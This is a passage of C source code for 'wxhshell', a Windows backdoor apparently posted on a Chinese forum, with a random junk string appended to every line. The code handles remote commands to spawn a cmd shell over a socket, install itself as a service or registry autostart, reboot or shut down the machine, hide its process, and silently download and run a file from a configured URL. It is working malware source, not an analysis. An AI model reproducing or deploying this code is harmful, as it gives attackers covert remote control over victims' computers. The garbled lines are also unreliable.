  else { Cn=#oE8(A  
a`:F07r  
    switch(cmd[0]) { xrXfZ>$5bM  
  A1;'S<a  
  // 帮助 7%$3`4i`O  
  case '?': { <FR!x#!   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qYoU\y7  
    break; 9e.v[K~  
  } C/ VHzV%q  
  // 安装 J>+\a1{  
  case 'i': { % dtn*NU  
    if(Install()) qOmL\'8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h:7\S\|8  
    else g?iZ RM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gv]94$'J9  
    break; <k3KCt  
    } >;"%Db  
  // 卸载 5GPrZY"  
  case 'r': { 6Ik v}q_j  
    if(Uninstall()) hVyeHbx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uEhPO  
    else hKh ad8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ajG_t  
    break; !yi*Zt~  
    } \PZ;y=]p}  
  // 显示 wxhshell 所在路径 e34g=]"  
  case 'p': { pub?%  
    char svExeFile[MAX_PATH]; d" 0&=/  
    strcpy(svExeFile,"\n\r"); Ya~Th)'>q  
      strcat(svExeFile,ExeFile); Y_C6*T%  
        send(wsh,svExeFile,strlen(svExeFile),0); ^N^s|c'  
    break; s(Wys^[g  
    } -|u yJh  
  // 重启 nm_taER  
  case 'b': { /?j kVy*"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 89KFZ[.}]  
    if(Boot(REBOOT)) 3A0Qjj=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =oq=``%  
    else { H>D?  
    closesocket(wsh); n@H;*nI|  
    ExitThread(0); K[?@nl?,z  
    } N/#x  
    break; "5ISKuL  
    } 9Y:.v@:}0  
  // 关机  6shN%  
  case 'd': { ;P}007;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X%og}Cfi  
    if(Boot(SHUTDOWN)) JoG(Nk]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:B<_  
    else { !]fSS)\H  
    closesocket(wsh); XR<g~&h  
    ExitThread(0); ,dosF Q  
    } oV9{{  
    break; M @G\b^"  
    } 7/KK}\NE  
  // 获取shell f`rI]v|@  
  case 's': { cM,g, E}  
    CmdShell(wsh); x1Z'_Qw  
    closesocket(wsh); 7$Wbf4  
    ExitThread(0); ?MfwRWY  
    break; . qf~t/o  
  } 4\ElMb[]  
  // 退出 .=yv m  
  case 'x': { n``9H 91  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #RyTa /L  
    CloseIt(wsh); )Pc>+} D  
    break; =j20A6gND  
    } ] X)~D!mA  
  // 离开 u^Ktz DmL  
  case 'q': { WAtv4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p<mBC2!%  
    closesocket(wsh); {wk#n.c  
    WSACleanup(); owyQFk  
    exit(1); AuM}L&`i^  
    break; C%ZPWOc_8  
        } <Voct  
  } ^U*1_|Jh  
  } (7&b)"y  
xh#pw2v7V  
  // 提示信息 p/l">d]+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?|_i"*]l  
} oLq N  
  } '6g-]rE[  
lu+KfKa  
  return; j B1ZF#  
} Yi[MoYe/K  
rf`xY4I\  
// shell模块句柄 >Y\?v-^~;  
int CmdShell(SOCKET sock) OwNo$b]h`  
{ @.)[U:N  
STARTUPINFO si; o!&+ _BKw  
ZeroMemory(&si,sizeof(si)); Vo.~1^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fo~*Bp()-E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WCk. K  
PROCESS_INFORMATION ProcessInfo; C1l'<  
char cmdline[]="cmd"; ^qVBgBPb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /C <p^#g9.  
  return 0; &U`ug"/k  
} WWOt>C~zV  
KW ZEi?  
// 自身启动模式 e^x%d[sU  
int StartFromService(void) W1LR ,:$  
{ 5G`fVsb  
typedef struct AOwmPHEL  
{ IAN={";p  
  DWORD ExitStatus; ([^f1;ncm  
  DWORD PebBaseAddress; [}l 90lP  
  DWORD AffinityMask; JvP>[vb  
  DWORD BasePriority; <R~;|&o,$  
  ULONG UniqueProcessId; #W.vX=/*  
  ULONG InheritedFromUniqueProcessId; paMK]-  
}   PROCESS_BASIC_INFORMATION; rz`"$g+#  
Lm<WT*@  
PROCNTQSIP NtQueryInformationProcess; x&+&)d  
zMO#CZ t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;|$oz{Ll  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qUn+1.[%  
.LnknjC  
  HANDLE             hProcess; mb%U~Na  
  PROCESS_BASIC_INFORMATION pbi; =}I=s@  
Aeo=m}C;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9x8Vsd  
  if(NULL == hInst ) return 0; %BT]h3dcSS  
M^hz<<:$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^^n (s_g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u i$4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gq4X(rsyD  
,&fZo9J9  
  if (!NtQueryInformationProcess) return 0; i\DU<lD5VN  
>#gDk K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \!w |  
  if(!hProcess) return 0; zuFPG{^\#  
qzO5p=}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; suFk<^3  
PY3bn).uR  
  CloseHandle(hProcess); jffNA^e  
0jPUDkH*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^ZRZ0:rZ  
if(hProcess==NULL) return 0; GZn=Hgv8  
jP2#w{xq  
HMODULE hMod; |b^UPrz)VS  
char procName[255]; $A/?evJi8R  
unsigned long cbNeeded; d%nX;w,  
4%_xT o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .!i`YT*jF  
{^:NII]  
  CloseHandle(hProcess); EQw7(r|v:  
Di}M\!-[  
if(strstr(procName,"services")) return 1; // 以服务启动 F?cwIE\J  
e{XzUY6  
  return 0; // 注册表启动 Rh$+9w  
} y7rT[f/J  
wf\7sz  
// 主模块 p&)d]oV>  
int StartWxhshell(LPSTR lpCmdLine) kd]CV7(7  
{ EgbH{)u  
  SOCKET wsl; 7fSNF7/+  
BOOL val=TRUE; 0L,!o[L*  
  int port=0; XJy.xI>;  
  struct sockaddr_in door; @t*D<B$  
ukc 7Z OQ  
  if(wscfg.ws_autoins) Install(); Tow!5VAM  
gSj0+|  
port=atoi(lpCmdLine); T (]*jaB  
0*oavY*  
if(port<=0) port=wscfg.ws_port; 02NVdpo[wU  
4sBvW  
  WSADATA data; guf*>qNr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )^"V}z t  
K)+]as  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~t$ng l$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {{>,c}O /  
  door.sin_family = AF_INET; f4F%\ "  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n6M#Xc'JA  
  door.sin_port = htons(port);  s_+.xIZ  
F;kKn:XL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )`ixT)   
closesocket(wsl); VN\VTSZh?\  
return 1; rl$"~/ oz  
} :O,r3O6  
#`K{vj  
  if(listen(wsl,2) == INVALID_SOCKET) { ue@W@pj  
closesocket(wsl); jt9- v-  
return 1; U}k@%m,  
} oR,zr  
  Wxhshell(wsl); _iEnS4$A8  
  WSACleanup(); "O|.e`C%^  
}; M@JMu,  
return 0; :=5X)10  
_' X  
} !y>up+cRjl  
4i }nk T  
// 以NT服务方式启动 d<HO~+9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jAv3qMQA  
{ HvKdV`bz  
DWORD   status = 0; ])%UZM6  
  DWORD   specificError = 0xfffffff; h|`R[  
0E,QOF{o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fR+{gazk n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Doq}UWp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KhX)maQ  
  serviceStatus.dwWin32ExitCode     = 0; j{2 0  
  serviceStatus.dwServiceSpecificExitCode = 0; Dv` "3  
  serviceStatus.dwCheckPoint       = 0; }aI>dHL  
  serviceStatus.dwWaitHint       = 0; P/^@t+KC  
HY?#r]Ryt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oOAkwc%)b  
  if (hServiceStatusHandle==0) return; a\oz-`ESa  
|!7leL  
status = GetLastError(); =1(7T.t  
  if (status!=NO_ERROR) ) j&khHD  
{ )C{20_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v^F00@2I  
    serviceStatus.dwCheckPoint       = 0; )R?uzX^qf  
    serviceStatus.dwWaitHint       = 0; s,!vBSn8  
    serviceStatus.dwWin32ExitCode     = status; 8bs'Ek{'o  
    serviceStatus.dwServiceSpecificExitCode = specificError; kumo%TXB&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RP[`\  
    return; Ex|Z@~T12  
  } &5bIM>)v  
@Bjp7v :w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kdx06'4o  
  serviceStatus.dwCheckPoint       = 0; DHuvHK0#  
  serviceStatus.dwWaitHint       = 0; 5} ur,0{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y  9z*xS  
} 05\0g9  
3 |LRb/|  
// 处理NT服务事件,比如:启动、停止 :D;pDl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q #7Nk)<.  
{ f\Hw Y)^>  
switch(fdwControl) :A:7^jrhi  
{ *O@Zn  
case SERVICE_CONTROL_STOP: !b4AeiL>w  
  serviceStatus.dwWin32ExitCode = 0; @ ,;h!vB*=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m|x_++3  
  serviceStatus.dwCheckPoint   = 0; :hW(2=%  
  serviceStatus.dwWaitHint     = 0; yV(9@lj3;  
  { -"a(<JC^NI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +]NpcE'  
  } W&D{0i`y  
  return; #R31V QwK5  
case SERVICE_CONTROL_PAUSE: :%j"l7=>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S1@r.z2L  
  break; ,aBy1K  
case SERVICE_CONTROL_CONTINUE: {hN<Ot  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !7Qj8YmS  
  break; I|K!hQ"m  
case SERVICE_CONTROL_INTERROGATE: I@O9bxR?  
  break; P?c V d2Y  
}; < 1m `  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o"L8n(\  
}  YGs'[On8  
%6^nb'l'C  
// 标准应用程序主函数 Qb%; |li  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hNkv lk'Ui  
{ PVdN)tG5  
"oFi+']*  
// 获取操作系统版本 . .S3-(xW  
OsIsNt=GetOsVer(); UzIE,A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >"b\$",~6  
+Zr~mwM=x  
  // 从命令行安装 4KSq]S.  
  if(strpbrk(lpCmdLine,"iI")) Install(); :[f[-F  
+~o f#  
  // 下载执行文件 =3SJl1w1  
if(wscfg.ws_downexe) { HkhZB^_V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LjW32>B  
  WinExec(wscfg.ws_filenam,SW_HIDE); +|8.ymvm  
} ,L~aa?Nb-  
8y_(Iu|:  
if(!OsIsNt) { c9Cc%EK  
// 如果时win9x,隐藏进程并且设置为注册表启动 xx7&y !_  
HideProc(); =5fY3%^b{  
StartWxhshell(lpCmdLine); YO?o$Hv16  
} :sLg$OF  
else (JnEso-V  
  if(StartFromService()) )b=vBs`%  
  // 以服务方式启动 s6 (md<r  
  StartServiceCtrlDispatcher(DispatchTable); _/cX!/"  
else QlR~rFs9t  
  // 普通方式启动 .]zZwB  
  StartWxhshell(lpCmdLine); 7t}s5}Z 4  
k{b|w')  
return 0; uysTyzx  
}
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只看该作者 1 发表于: 2006-10-10
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